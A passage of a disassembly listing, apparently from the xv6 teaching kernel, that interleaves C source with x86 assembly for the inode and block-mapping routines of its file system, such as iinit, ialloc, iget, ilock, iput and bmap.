8010157b: 8b 45 f0 mov -0x10(%ebp),%eax
8010157e: 85 c0 test %eax,%eax
80101580: 79 03 jns 80101585 <bfree+0x98>
80101582: 83 c0 07 add $0x7,%eax
80101585: c1 f8 03 sar $0x3,%eax
80101588: 8b 55 f4 mov -0xc(%ebp),%edx
8010158b: 8a 54 02 5c mov 0x5c(%edx,%eax,1),%dl
8010158f: 8b 4d ec mov -0x14(%ebp),%ecx
80101592: f7 d1 not %ecx
80101594: 21 ca and %ecx,%edx
80101596: 88 d1 mov %dl,%cl
80101598: 8b 55 f4 mov -0xc(%ebp),%edx
8010159b: 88 4c 02 5c mov %cl,0x5c(%edx,%eax,1)
log_write(bp);
8010159f: 8b 45 f4 mov -0xc(%ebp),%eax
801015a2: 89 04 24 mov %eax,(%esp)
801015a5: e8 1d 21 00 00 call 801036c7 <log_write>
brelse(bp);
801015aa: 8b 45 f4 mov -0xc(%ebp),%eax
801015ad: 89 04 24 mov %eax,(%esp)
801015b0: e8 77 ec ff ff call 8010022c <brelse>
}
801015b5: c9 leave
801015b6: c3 ret
801015b7 <iinit>:
struct inode inode[NINODE];
} icache;
void
iinit(int dev)
{
801015b7: 55 push %ebp
801015b8: 89 e5 mov %esp,%ebp
801015ba: 57 push %edi
801015bb: 56 push %esi
801015bc: 53 push %ebx
801015bd: 83 ec 4c sub $0x4c,%esp
int i = 0;
801015c0: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
initlock(&icache.lock, "icache");
801015c7: c7 44 24 04 21 86 10 movl $0x80108621,0x4(%esp)
801015ce: 80
801015cf: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
801015d6: e8 2b 39 00 00 call 80104f06 <initlock>
for(i = 0; i < NINODE; i++) {
801015db: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
801015e2: eb 2b jmp 8010160f <iinit+0x58>
initsleeplock(&icache.inode[i].lock, "inode");
801015e4: 8b 55 e4 mov -0x1c(%ebp),%edx
801015e7: 89 d0 mov %edx,%eax
801015e9: c1 e0 03 shl $0x3,%eax
801015ec: 01 d0 add %edx,%eax
801015ee: c1 e0 04 shl $0x4,%eax
801015f1: 83 c0 30 add $0x30,%eax
801015f4: 05 a0 1a 11 80 add $0x80111aa0,%eax
801015f9: 83 c0 10 add $0x10,%eax
801015fc: c7 44 24 04 28 86 10 movl $0x80108628,0x4(%esp)
80101603: 80
80101604: 89 04 24 mov %eax,(%esp)
80101607: e8 bc 37 00 00 call 80104dc8 <initsleeplock>
iinit(int dev)
{
int i = 0;
initlock(&icache.lock, "icache");
for(i = 0; i < NINODE; i++) {
8010160c: ff 45 e4 incl -0x1c(%ebp)
8010160f: 83 7d e4 31 cmpl $0x31,-0x1c(%ebp)
80101613: 7e cf jle 801015e4 <iinit+0x2d>
initsleeplock(&icache.inode[i].lock, "inode");
}
readsb(dev, &sb);
80101615: c7 44 24 04 80 1a 11 movl $0x80111a80,0x4(%esp)
8010161c: 80
8010161d: 8b 45 08 mov 0x8(%ebp),%eax
80101620: 89 04 24 mov %eax,(%esp)
80101623: e8 f4 fc ff ff call 8010131c <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
80101628: a1 98 1a 11 80 mov 0x80111a98,%eax
8010162d: 8b 3d 94 1a 11 80 mov 0x80111a94,%edi
80101633: 8b 35 90 1a 11 80 mov 0x80111a90,%esi
80101639: 8b 1d 8c 1a 11 80 mov 0x80111a8c,%ebx
8010163f: 8b 0d 88 1a 11 80 mov 0x80111a88,%ecx
80101645: 8b 15 84 1a 11 80 mov 0x80111a84,%edx
8010164b: 89 55 d4 mov %edx,-0x2c(%ebp)
8010164e: 8b 15 80 1a 11 80 mov 0x80111a80,%edx
80101654: 89 44 24 1c mov %eax,0x1c(%esp)
80101658: 89 7c 24 18 mov %edi,0x18(%esp)
8010165c: 89 74 24 14 mov %esi,0x14(%esp)
80101660: 89 5c 24 10 mov %ebx,0x10(%esp)
80101664: 89 4c 24 0c mov %ecx,0xc(%esp)
80101668: 8b 45 d4 mov -0x2c(%ebp),%eax
8010166b: 89 44 24 08 mov %eax,0x8(%esp)
8010166f: 89 d0 mov %edx,%eax
80101671: 89 44 24 04 mov %eax,0x4(%esp)
80101675: c7 04 24 30 86 10 80 movl $0x80108630,(%esp)
8010167c: e8 40 ed ff ff call 801003c1 <cprintf>
inodestart %d bmap start %d\n", sb.size, sb.nblocks,
sb.ninodes, sb.nlog, sb.logstart, sb.inodestart,
sb.bmapstart);
}
80101681: 83 c4 4c add $0x4c,%esp
80101684: 5b pop %ebx
80101685: 5e pop %esi
80101686: 5f pop %edi
80101687: 5d pop %ebp
80101688: c3 ret
80101689 <ialloc>:
//PAGEBREAK!
// Allocate a new inode with the given type on device dev.
// A free inode has a type of zero.
struct inode*
ialloc(uint dev, short type)
{
80101689: 55 push %ebp
8010168a: 89 e5 mov %esp,%ebp
8010168c: 83 ec 28 sub $0x28,%esp
8010168f: 8b 45 0c mov 0xc(%ebp),%eax
80101692: 66 89 45 e4 mov %ax,-0x1c(%ebp)
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
80101696: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp)
8010169d: e9 9b 00 00 00 jmp 8010173d <ialloc+0xb4>
bp = bread(dev, IBLOCK(inum, sb));
801016a2: 8b 45 f4 mov -0xc(%ebp),%eax
801016a5: c1 e8 03 shr $0x3,%eax
801016a8: 89 c2 mov %eax,%edx
801016aa: a1 94 1a 11 80 mov 0x80111a94,%eax
801016af: 01 d0 add %edx,%eax
801016b1: 89 44 24 04 mov %eax,0x4(%esp)
801016b5: 8b 45 08 mov 0x8(%ebp),%eax
801016b8: 89 04 24 mov %eax,(%esp)
801016bb: e8 f5 ea ff ff call 801001b5 <bread>
801016c0: 89 45 f0 mov %eax,-0x10(%ebp)
dip = (struct dinode*)bp->data + inum%IPB;
801016c3: 8b 45 f0 mov -0x10(%ebp),%eax
801016c6: 8d 50 5c lea 0x5c(%eax),%edx
801016c9: 8b 45 f4 mov -0xc(%ebp),%eax
801016cc: 83 e0 07 and $0x7,%eax
801016cf: c1 e0 06 shl $0x6,%eax
801016d2: 01 d0 add %edx,%eax
801016d4: 89 45 ec mov %eax,-0x14(%ebp)
if(dip->type == 0){ // a free inode
801016d7: 8b 45 ec mov -0x14(%ebp),%eax
801016da: 8b 00 mov (%eax),%eax
801016dc: 66 85 c0 test %ax,%ax
801016df: 75 4e jne 8010172f <ialloc+0xa6>
memset(dip, 0, sizeof(*dip));
801016e1: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
801016e8: 00
801016e9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801016f0: 00
801016f1: 8b 45 ec mov -0x14(%ebp),%eax
801016f4: 89 04 24 mov %eax,(%esp)
801016f7: e8 8e 3a 00 00 call 8010518a <memset>
dip->type = type;
801016fc: 8b 55 ec mov -0x14(%ebp),%edx
801016ff: 8b 45 e4 mov -0x1c(%ebp),%eax
80101702: 66 89 02 mov %ax,(%edx)
log_write(bp); // mark it allocated on the disk
80101705: 8b 45 f0 mov -0x10(%ebp),%eax
80101708: 89 04 24 mov %eax,(%esp)
8010170b: e8 b7 1f 00 00 call 801036c7 <log_write>
brelse(bp);
80101710: 8b 45 f0 mov -0x10(%ebp),%eax
80101713: 89 04 24 mov %eax,(%esp)
80101716: e8 11 eb ff ff call 8010022c <brelse>
return iget(dev, inum);
8010171b: 8b 45 f4 mov -0xc(%ebp),%eax
8010171e: 89 44 24 04 mov %eax,0x4(%esp)
80101722: 8b 45 08 mov 0x8(%ebp),%eax
80101725: 89 04 24 mov %eax,(%esp)
80101728: e8 ea 00 00 00 call 80101817 <iget>
8010172d: eb 2a jmp 80101759 <ialloc+0xd0>
}
brelse(bp);
8010172f: 8b 45 f0 mov -0x10(%ebp),%eax
80101732: 89 04 24 mov %eax,(%esp)
80101735: e8 f2 ea ff ff call 8010022c <brelse>
{
int inum;
struct buf *bp;
struct dinode *dip;
for(inum = 1; inum < sb.ninodes; inum++){
8010173a: ff 45 f4 incl -0xc(%ebp)
8010173d: 8b 55 f4 mov -0xc(%ebp),%edx
80101740: a1 88 1a 11 80 mov 0x80111a88,%eax
80101745: 39 c2 cmp %eax,%edx
80101747: 0f 82 55 ff ff ff jb 801016a2 <ialloc+0x19>
brelse(bp);
return iget(dev, inum);
}
brelse(bp);
}
panic("ialloc: no inodes");
8010174d: c7 04 24 83 86 10 80 movl $0x80108683,(%esp)
80101754: e8 fb ed ff ff call 80100554 <panic>
}
80101759: c9 leave
8010175a: c3 ret
8010175b <iupdate>:
// Copy a modified in-memory inode to disk.
void
iupdate(struct inode *ip)
{
8010175b: 55 push %ebp
8010175c: 89 e5 mov %esp,%ebp
8010175e: 83 ec 28 sub $0x28,%esp
struct buf *bp;
struct dinode *dip;
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101761: 8b 45 08 mov 0x8(%ebp),%eax
80101764: 8b 40 04 mov 0x4(%eax),%eax
80101767: c1 e8 03 shr $0x3,%eax
8010176a: 89 c2 mov %eax,%edx
8010176c: a1 94 1a 11 80 mov 0x80111a94,%eax
80101771: 01 c2 add %eax,%edx
80101773: 8b 45 08 mov 0x8(%ebp),%eax
80101776: 8b 00 mov (%eax),%eax
80101778: 89 54 24 04 mov %edx,0x4(%esp)
8010177c: 89 04 24 mov %eax,(%esp)
8010177f: e8 31 ea ff ff call 801001b5 <bread>
80101784: 89 45 f4 mov %eax,-0xc(%ebp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101787: 8b 45 f4 mov -0xc(%ebp),%eax
8010178a: 8d 50 5c lea 0x5c(%eax),%edx
8010178d: 8b 45 08 mov 0x8(%ebp),%eax
80101790: 8b 40 04 mov 0x4(%eax),%eax
80101793: 83 e0 07 and $0x7,%eax
80101796: c1 e0 06 shl $0x6,%eax
80101799: 01 d0 add %edx,%eax
8010179b: 89 45 f0 mov %eax,-0x10(%ebp)
dip->type = ip->type;
8010179e: 8b 45 08 mov 0x8(%ebp),%eax
801017a1: 8b 40 50 mov 0x50(%eax),%eax
801017a4: 8b 55 f0 mov -0x10(%ebp),%edx
801017a7: 66 89 02 mov %ax,(%edx)
dip->major = ip->major;
801017aa: 8b 45 08 mov 0x8(%ebp),%eax
801017ad: 66 8b 40 52 mov 0x52(%eax),%ax
801017b1: 8b 55 f0 mov -0x10(%ebp),%edx
801017b4: 66 89 42 02 mov %ax,0x2(%edx)
dip->minor = ip->minor;
801017b8: 8b 45 08 mov 0x8(%ebp),%eax
801017bb: 8b 40 54 mov 0x54(%eax),%eax
801017be: 8b 55 f0 mov -0x10(%ebp),%edx
801017c1: 66 89 42 04 mov %ax,0x4(%edx)
dip->nlink = ip->nlink;
801017c5: 8b 45 08 mov 0x8(%ebp),%eax
801017c8: 66 8b 40 56 mov 0x56(%eax),%ax
801017cc: 8b 55 f0 mov -0x10(%ebp),%edx
801017cf: 66 89 42 06 mov %ax,0x6(%edx)
dip->size = ip->size;
801017d3: 8b 45 08 mov 0x8(%ebp),%eax
801017d6: 8b 50 58 mov 0x58(%eax),%edx
801017d9: 8b 45 f0 mov -0x10(%ebp),%eax
801017dc: 89 50 08 mov %edx,0x8(%eax)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801017df: 8b 45 08 mov 0x8(%ebp),%eax
801017e2: 8d 50 5c lea 0x5c(%eax),%edx
801017e5: 8b 45 f0 mov -0x10(%ebp),%eax
801017e8: 83 c0 0c add $0xc,%eax
801017eb: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
801017f2: 00
801017f3: 89 54 24 04 mov %edx,0x4(%esp)
801017f7: 89 04 24 mov %eax,(%esp)
801017fa: e8 54 3a 00 00 call 80105253 <memmove>
log_write(bp);
801017ff: 8b 45 f4 mov -0xc(%ebp),%eax
80101802: 89 04 24 mov %eax,(%esp)
80101805: e8 bd 1e 00 00 call 801036c7 <log_write>
brelse(bp);
8010180a: 8b 45 f4 mov -0xc(%ebp),%eax
8010180d: 89 04 24 mov %eax,(%esp)
80101810: e8 17 ea ff ff call 8010022c <brelse>
}
80101815: c9 leave
80101816: c3 ret
80101817 <iget>:
// Find the inode with number inum on device dev
// and return the in-memory copy. Does not lock
// the inode and does not read it from disk.
static struct inode*
iget(uint dev, uint inum)
{
80101817: 55 push %ebp
80101818: 89 e5 mov %esp,%ebp
8010181a: 83 ec 28 sub $0x28,%esp
struct inode *ip, *empty;
acquire(&icache.lock);
8010181d: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
80101824: e8 fe 36 00 00 call 80104f27 <acquire>
// Is the inode already cached?
empty = 0;
80101829: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
80101830: c7 45 f4 d4 1a 11 80 movl $0x80111ad4,-0xc(%ebp)
80101837: eb 5c jmp 80101895 <iget+0x7e>
if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){
80101839: 8b 45 f4 mov -0xc(%ebp),%eax
8010183c: 8b 40 08 mov 0x8(%eax),%eax
8010183f: 85 c0 test %eax,%eax
80101841: 7e 35 jle 80101878 <iget+0x61>
80101843: 8b 45 f4 mov -0xc(%ebp),%eax
80101846: 8b 00 mov (%eax),%eax
80101848: 3b 45 08 cmp 0x8(%ebp),%eax
8010184b: 75 2b jne 80101878 <iget+0x61>
8010184d: 8b 45 f4 mov -0xc(%ebp),%eax
80101850: 8b 40 04 mov 0x4(%eax),%eax
80101853: 3b 45 0c cmp 0xc(%ebp),%eax
80101856: 75 20 jne 80101878 <iget+0x61>
ip->ref++;
80101858: 8b 45 f4 mov -0xc(%ebp),%eax
8010185b: 8b 40 08 mov 0x8(%eax),%eax
8010185e: 8d 50 01 lea 0x1(%eax),%edx
80101861: 8b 45 f4 mov -0xc(%ebp),%eax
80101864: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
80101867: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
8010186e: e8 1b 37 00 00 call 80104f8e <release>
return ip;
80101873: 8b 45 f4 mov -0xc(%ebp),%eax
80101876: eb 72 jmp 801018ea <iget+0xd3>
}
if(empty == 0 && ip->ref == 0) // Remember empty slot.
80101878: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010187c: 75 10 jne 8010188e <iget+0x77>
8010187e: 8b 45 f4 mov -0xc(%ebp),%eax
80101881: 8b 40 08 mov 0x8(%eax),%eax
80101884: 85 c0 test %eax,%eax
80101886: 75 06 jne 8010188e <iget+0x77>
empty = ip;
80101888: 8b 45 f4 mov -0xc(%ebp),%eax
8010188b: 89 45 f0 mov %eax,-0x10(%ebp)
acquire(&icache.lock);
// Is the inode already cached?
empty = 0;
for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){
8010188e: 81 45 f4 90 00 00 00 addl $0x90,-0xc(%ebp)
80101895: 81 7d f4 f4 36 11 80 cmpl $0x801136f4,-0xc(%ebp)
8010189c: 72 9b jb 80101839 <iget+0x22>
if(empty == 0 && ip->ref == 0) // Remember empty slot.
empty = ip;
}
// Recycle an inode cache entry.
if(empty == 0)
8010189e: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801018a2: 75 0c jne 801018b0 <iget+0x99>
panic("iget: no inodes");
801018a4: c7 04 24 95 86 10 80 movl $0x80108695,(%esp)
801018ab: e8 a4 ec ff ff call 80100554 <panic>
ip = empty;
801018b0: 8b 45 f0 mov -0x10(%ebp),%eax
801018b3: 89 45 f4 mov %eax,-0xc(%ebp)
ip->dev = dev;
801018b6: 8b 45 f4 mov -0xc(%ebp),%eax
801018b9: 8b 55 08 mov 0x8(%ebp),%edx
801018bc: 89 10 mov %edx,(%eax)
ip->inum = inum;
801018be: 8b 45 f4 mov -0xc(%ebp),%eax
801018c1: 8b 55 0c mov 0xc(%ebp),%edx
801018c4: 89 50 04 mov %edx,0x4(%eax)
ip->ref = 1;
801018c7: 8b 45 f4 mov -0xc(%ebp),%eax
801018ca: c7 40 08 01 00 00 00 movl $0x1,0x8(%eax)
ip->flags = 0;
801018d1: 8b 45 f4 mov -0xc(%ebp),%eax
801018d4: c7 40 4c 00 00 00 00 movl $0x0,0x4c(%eax)
release(&icache.lock);
801018db: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
801018e2: e8 a7 36 00 00 call 80104f8e <release>
return ip;
801018e7: 8b 45 f4 mov -0xc(%ebp),%eax
}
801018ea: c9 leave
801018eb: c3 ret
801018ec <idup>:
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
801018ec: 55 push %ebp
801018ed: 89 e5 mov %esp,%ebp
801018ef: 83 ec 18 sub $0x18,%esp
acquire(&icache.lock);
801018f2: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
801018f9: e8 29 36 00 00 call 80104f27 <acquire>
ip->ref++;
801018fe: 8b 45 08 mov 0x8(%ebp),%eax
80101901: 8b 40 08 mov 0x8(%eax),%eax
80101904: 8d 50 01 lea 0x1(%eax),%edx
80101907: 8b 45 08 mov 0x8(%ebp),%eax
8010190a: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
8010190d: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
80101914: e8 75 36 00 00 call 80104f8e <release>
return ip;
80101919: 8b 45 08 mov 0x8(%ebp),%eax
}
8010191c: c9 leave
8010191d: c3 ret
8010191e <ilock>:
// Lock the given inode.
// Reads the inode from disk if necessary.
void
ilock(struct inode *ip)
{
8010191e: 55 push %ebp
8010191f: 89 e5 mov %esp,%ebp
80101921: 83 ec 28 sub $0x28,%esp
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
80101924: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80101928: 74 0a je 80101934 <ilock+0x16>
8010192a: 8b 45 08 mov 0x8(%ebp),%eax
8010192d: 8b 40 08 mov 0x8(%eax),%eax
80101930: 85 c0 test %eax,%eax
80101932: 7f 0c jg 80101940 <ilock+0x22>
panic("ilock");
80101934: c7 04 24 a5 86 10 80 movl $0x801086a5,(%esp)
8010193b: e8 14 ec ff ff call 80100554 <panic>
acquiresleep(&ip->lock);
80101940: 8b 45 08 mov 0x8(%ebp),%eax
80101943: 83 c0 0c add $0xc,%eax
80101946: 89 04 24 mov %eax,(%esp)
80101949: e8 b4 34 00 00 call 80104e02 <acquiresleep>
if(!(ip->flags & I_VALID)){
8010194e: 8b 45 08 mov 0x8(%ebp),%eax
80101951: 8b 40 4c mov 0x4c(%eax),%eax
80101954: 83 e0 02 and $0x2,%eax
80101957: 85 c0 test %eax,%eax
80101959: 0f 85 d1 00 00 00 jne 80101a30 <ilock+0x112>
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
8010195f: 8b 45 08 mov 0x8(%ebp),%eax
80101962: 8b 40 04 mov 0x4(%eax),%eax
80101965: c1 e8 03 shr $0x3,%eax
80101968: 89 c2 mov %eax,%edx
8010196a: a1 94 1a 11 80 mov 0x80111a94,%eax
8010196f: 01 c2 add %eax,%edx
80101971: 8b 45 08 mov 0x8(%ebp),%eax
80101974: 8b 00 mov (%eax),%eax
80101976: 89 54 24 04 mov %edx,0x4(%esp)
8010197a: 89 04 24 mov %eax,(%esp)
8010197d: e8 33 e8 ff ff call 801001b5 <bread>
80101982: 89 45 f4 mov %eax,-0xc(%ebp)
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101985: 8b 45 f4 mov -0xc(%ebp),%eax
80101988: 8d 50 5c lea 0x5c(%eax),%edx
8010198b: 8b 45 08 mov 0x8(%ebp),%eax
8010198e: 8b 40 04 mov 0x4(%eax),%eax
80101991: 83 e0 07 and $0x7,%eax
80101994: c1 e0 06 shl $0x6,%eax
80101997: 01 d0 add %edx,%eax
80101999: 89 45 f0 mov %eax,-0x10(%ebp)
ip->type = dip->type;
8010199c: 8b 45 f0 mov -0x10(%ebp),%eax
8010199f: 8b 00 mov (%eax),%eax
801019a1: 8b 55 08 mov 0x8(%ebp),%edx
801019a4: 66 89 42 50 mov %ax,0x50(%edx)
ip->major = dip->major;
801019a8: 8b 45 f0 mov -0x10(%ebp),%eax
801019ab: 66 8b 40 02 mov 0x2(%eax),%ax
801019af: 8b 55 08 mov 0x8(%ebp),%edx
801019b2: 66 89 42 52 mov %ax,0x52(%edx)
ip->minor = dip->minor;
801019b6: 8b 45 f0 mov -0x10(%ebp),%eax
801019b9: 8b 40 04 mov 0x4(%eax),%eax
801019bc: 8b 55 08 mov 0x8(%ebp),%edx
801019bf: 66 89 42 54 mov %ax,0x54(%edx)
ip->nlink = dip->nlink;
801019c3: 8b 45 f0 mov -0x10(%ebp),%eax
801019c6: 66 8b 40 06 mov 0x6(%eax),%ax
801019ca: 8b 55 08 mov 0x8(%ebp),%edx
801019cd: 66 89 42 56 mov %ax,0x56(%edx)
ip->size = dip->size;
801019d1: 8b 45 f0 mov -0x10(%ebp),%eax
801019d4: 8b 50 08 mov 0x8(%eax),%edx
801019d7: 8b 45 08 mov 0x8(%ebp),%eax
801019da: 89 50 58 mov %edx,0x58(%eax)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
801019dd: 8b 45 f0 mov -0x10(%ebp),%eax
801019e0: 8d 50 0c lea 0xc(%eax),%edx
801019e3: 8b 45 08 mov 0x8(%ebp),%eax
801019e6: 83 c0 5c add $0x5c,%eax
801019e9: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
801019f0: 00
801019f1: 89 54 24 04 mov %edx,0x4(%esp)
801019f5: 89 04 24 mov %eax,(%esp)
801019f8: e8 56 38 00 00 call 80105253 <memmove>
brelse(bp);
801019fd: 8b 45 f4 mov -0xc(%ebp),%eax
80101a00: 89 04 24 mov %eax,(%esp)
80101a03: e8 24 e8 ff ff call 8010022c <brelse>
ip->flags |= I_VALID;
80101a08: 8b 45 08 mov 0x8(%ebp),%eax
80101a0b: 8b 40 4c mov 0x4c(%eax),%eax
80101a0e: 83 c8 02 or $0x2,%eax
80101a11: 89 c2 mov %eax,%edx
80101a13: 8b 45 08 mov 0x8(%ebp),%eax
80101a16: 89 50 4c mov %edx,0x4c(%eax)
if(ip->type == 0)
80101a19: 8b 45 08 mov 0x8(%ebp),%eax
80101a1c: 8b 40 50 mov 0x50(%eax),%eax
80101a1f: 66 85 c0 test %ax,%ax
80101a22: 75 0c jne 80101a30 <ilock+0x112>
panic("ilock: no type");
80101a24: c7 04 24 ab 86 10 80 movl $0x801086ab,(%esp)
80101a2b: e8 24 eb ff ff call 80100554 <panic>
}
}
80101a30: c9 leave
80101a31: c3 ret
80101a32 <iunlock>:
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
80101a32: 55 push %ebp
80101a33: 89 e5 mov %esp,%ebp
80101a35: 83 ec 18 sub $0x18,%esp
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
80101a38: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80101a3c: 74 1c je 80101a5a <iunlock+0x28>
80101a3e: 8b 45 08 mov 0x8(%ebp),%eax
80101a41: 83 c0 0c add $0xc,%eax
80101a44: 89 04 24 mov %eax,(%esp)
80101a47: e8 54 34 00 00 call 80104ea0 <holdingsleep>
80101a4c: 85 c0 test %eax,%eax
80101a4e: 74 0a je 80101a5a <iunlock+0x28>
80101a50: 8b 45 08 mov 0x8(%ebp),%eax
80101a53: 8b 40 08 mov 0x8(%eax),%eax
80101a56: 85 c0 test %eax,%eax
80101a58: 7f 0c jg 80101a66 <iunlock+0x34>
panic("iunlock");
80101a5a: c7 04 24 ba 86 10 80 movl $0x801086ba,(%esp)
80101a61: e8 ee ea ff ff call 80100554 <panic>
releasesleep(&ip->lock);
80101a66: 8b 45 08 mov 0x8(%ebp),%eax
80101a69: 83 c0 0c add $0xc,%eax
80101a6c: 89 04 24 mov %eax,(%esp)
80101a6f: e8 ea 33 00 00 call 80104e5e <releasesleep>
}
80101a74: c9 leave
80101a75: c3 ret
80101a76 <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
80101a76: 55 push %ebp
80101a77: 89 e5 mov %esp,%ebp
80101a79: 83 ec 18 sub $0x18,%esp
acquire(&icache.lock);
80101a7c: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
80101a83: e8 9f 34 00 00 call 80104f27 <acquire>
if(ip->ref == 1 && (ip->flags & I_VALID) && ip->nlink == 0){
80101a88: 8b 45 08 mov 0x8(%ebp),%eax
80101a8b: 8b 40 08 mov 0x8(%eax),%eax
80101a8e: 83 f8 01 cmp $0x1,%eax
80101a91: 75 5a jne 80101aed <iput+0x77>
80101a93: 8b 45 08 mov 0x8(%ebp),%eax
80101a96: 8b 40 4c mov 0x4c(%eax),%eax
80101a99: 83 e0 02 and $0x2,%eax
80101a9c: 85 c0 test %eax,%eax
80101a9e: 74 4d je 80101aed <iput+0x77>
80101aa0: 8b 45 08 mov 0x8(%ebp),%eax
80101aa3: 66 8b 40 56 mov 0x56(%eax),%ax
80101aa7: 66 85 c0 test %ax,%ax
80101aaa: 75 41 jne 80101aed <iput+0x77>
// inode has no links and no other references: truncate and free.
release(&icache.lock);
80101aac: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
80101ab3: e8 d6 34 00 00 call 80104f8e <release>
itrunc(ip);
80101ab8: 8b 45 08 mov 0x8(%ebp),%eax
80101abb: 89 04 24 mov %eax,(%esp)
80101abe: e8 78 01 00 00 call 80101c3b <itrunc>
ip->type = 0;
80101ac3: 8b 45 08 mov 0x8(%ebp),%eax
80101ac6: 66 c7 40 50 00 00 movw $0x0,0x50(%eax)
iupdate(ip);
80101acc: 8b 45 08 mov 0x8(%ebp),%eax
80101acf: 89 04 24 mov %eax,(%esp)
80101ad2: e8 84 fc ff ff call 8010175b <iupdate>
acquire(&icache.lock);
80101ad7: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
80101ade: e8 44 34 00 00 call 80104f27 <acquire>
ip->flags = 0;
80101ae3: 8b 45 08 mov 0x8(%ebp),%eax
80101ae6: c7 40 4c 00 00 00 00 movl $0x0,0x4c(%eax)
}
ip->ref--;
80101aed: 8b 45 08 mov 0x8(%ebp),%eax
80101af0: 8b 40 08 mov 0x8(%eax),%eax
80101af3: 8d 50 ff lea -0x1(%eax),%edx
80101af6: 8b 45 08 mov 0x8(%ebp),%eax
80101af9: 89 50 08 mov %edx,0x8(%eax)
release(&icache.lock);
80101afc: c7 04 24 a0 1a 11 80 movl $0x80111aa0,(%esp)
80101b03: e8 86 34 00 00 call 80104f8e <release>
}
80101b08: c9 leave
80101b09: c3 ret
80101b0a <iunlockput>:
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
80101b0a: 55 push %ebp
80101b0b: 89 e5 mov %esp,%ebp
80101b0d: 83 ec 18 sub $0x18,%esp
iunlock(ip);
80101b10: 8b 45 08 mov 0x8(%ebp),%eax
80101b13: 89 04 24 mov %eax,(%esp)
80101b16: e8 17 ff ff ff call 80101a32 <iunlock>
iput(ip);
80101b1b: 8b 45 08 mov 0x8(%ebp),%eax
80101b1e: 89 04 24 mov %eax,(%esp)
80101b21: e8 50 ff ff ff call 80101a76 <iput>
}
80101b26: c9 leave
80101b27: c3 ret
80101b28 <bmap>:
// Return the disk block address of the nth block in inode ip.
// If there is no such block, bmap allocates one.
static uint
bmap(struct inode *ip, uint bn)
{
80101b28: 55 push %ebp
80101b29: 89 e5 mov %esp,%ebp
80101b2b: 53 push %ebx
80101b2c: 83 ec 24 sub $0x24,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
80101b2f: 83 7d 0c 0b cmpl $0xb,0xc(%ebp)
80101b33: 77 3e ja 80101b73 <bmap+0x4b>
if((addr = ip->addrs[bn]) == 0)
80101b35: 8b 45 08 mov 0x8(%ebp),%eax
80101b38: 8b 55 0c mov 0xc(%ebp),%edx
80101b3b: 83 c2 14 add $0x14,%edx
80101b3e: 8b 44 90 0c mov 0xc(%eax,%edx,4),%eax
80101b42: 89 45 f4 mov %eax,-0xc(%ebp)
80101b45: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80101b49: 75 20 jne 80101b6b <bmap+0x43>
ip->addrs[bn] = addr = balloc(ip->dev);
80101b4b: 8b 45 08 mov 0x8(%ebp),%eax
80101b4e: 8b 00 mov (%eax),%eax
80101b50: 89 04 24 mov %eax,(%esp)
80101b53: e8 5b f8 ff ff call 801013b3 <balloc>
80101b58: 89 45 f4 mov %eax,-0xc(%ebp)
80101b5b: 8b 45 08 mov 0x8(%ebp),%eax
80101b5e: 8b 55 0c mov 0xc(%ebp),%edx
80101b61: 8d 4a 14 lea 0x14(%edx),%ecx
80101b64: 8b 55 f4 mov -0xc(%ebp),%edx
80101b67: 89 54 88 0c mov %edx,0xc(%eax,%ecx,4)
return addr;
80101b6b: 8b 45 f4 mov -0xc(%ebp),%eax
80101b6e: e9 c2 00 00 00 jmp 80101c35 <bmap+0x10d>
}
bn -= NDIRECT;
80101b73: 83 6d 0c 0c subl $0xc,0xc(%ebp)
if(bn < NINDIRECT){
80101b77: 83 7d 0c 7f cmpl $0x7f,0xc(%ebp)
80101b7b: 0f 87 a8 00 00 00 ja 80101c29 <bmap+0x101>
// Load indirect block, allocating if necessary.
if((addr = ip->addrs[NDIRECT]) == 0)
80101b81: 8b 45 08 mov 0x8(%ebp),%eax
80101b84: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
80101b8a: 89 45 f4 mov %eax,-0xc(%ebp)
